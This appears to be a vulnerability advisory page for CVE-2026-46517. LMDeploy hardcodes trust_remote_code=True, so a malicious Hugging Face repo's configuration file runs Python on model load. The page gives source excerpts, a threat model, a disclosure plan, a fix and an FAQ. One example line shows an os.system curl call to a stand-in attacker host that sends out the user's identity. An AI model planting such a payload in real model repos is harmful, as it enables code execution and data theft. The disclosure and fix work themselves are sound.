CVE-2026-46517

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is:
"get_model_arch and related helpers hardcode trust_remote_code=True
with no opt-out, creating an implicit unsafe remote-code load path
on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE, the user supplies the model
  reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a
  benign upstream is compromised), the user explicitly types the
  repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers
  itself) all expose --trust-remote-code as opt-in so that
  users who consciously load known-safe repos can opt in, while
  users following a tutorial cannot accidentally execute attacker
  Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary
  override that violates HF Transformers' default-secure stance
  (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting
  False, threaded through the three sites, matching the rest of
  the ecosystem.

Severity should be assessed as hardening / safe-by-default,
not as full unauthenticated RCE. CVSS revised to 5.5 Medium
(AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13, LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / [email protected]
Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source, there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance (trust_remote_code=False) introduced
in HF Transformers ≥ 4.30 specifically to prevent this class of
supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has no way to
opt out. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy, which is incompatible
with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues, e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92
  (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py →
    0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py →
    7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py →
    b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1, architecture detection (every load goes through here)

lmdeploy/archs.py:147-157, get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.

Site 2, quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.

Site 3, calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.

Site 4, pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 ,
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true", a determined caller can pass False, but every
shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's
   top-level code (any print, os.system, subprocess.run,
   urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against
a HuggingFace repo identifier they did not personally vet. This
includes:

• Casual users following a tutorial that says
  lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by
  configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running
  lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will
execute, and there is no flag to disable it. The CVE class is
CWE-94 (Improper Control of Generation of Code, supply-chain
flavour) and CWE-915 (Improperly Controlled Modification of
Dynamically-Determined Object Attributes).

Comparison to peer projects

LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like --trust-remote-code and default-False as
the rest of the ecosystem does.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or
   GitHub Security Advisory at
   https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in
   change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a
runtime PoC to demonstrate the pickle gadget execution, this finding
is a single trust-flag flip, the behaviour of
AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF
repo with a malicious configuration_*.py is documented behaviour of
HF Transformers itself (their own docs warn against it). Reproducing
it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide
one (a malicious HF repo with configuration_evil.py + a one-liner
lmdeploy lite calibrate <repo> invocation), but holding it back from
the initial advisory avoids publishing a working exploit during the
disclosure window.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-46517 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Replace every hardcoded trust_remote_code=True with an explicit
opt-in via CLI flag:

# lmdeploy/archs.py, get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code
to lmdeploy's CLI parser and forward it from server / calibrate /
gptq / etc. Default False.

A patch fragment is in patch.diff.

1. What is CVE-2026-46517? CVE-2026-46517 is a high-severity code injection vulnerability in lmdeploy (pip), affecting versions <= 0.12.3. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-46517? CVE-2026-46517 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lmdeploy are affected by CVE-2026-46517? lmdeploy (pip) versions <= 0.12.3 is affected.
4. Is there a fix for CVE-2026-46517? No fixed version is listed for CVE-2026-46517 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-46517 exploitable, and should I be worried? Whether CVE-2026-46517 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46517 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46517? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.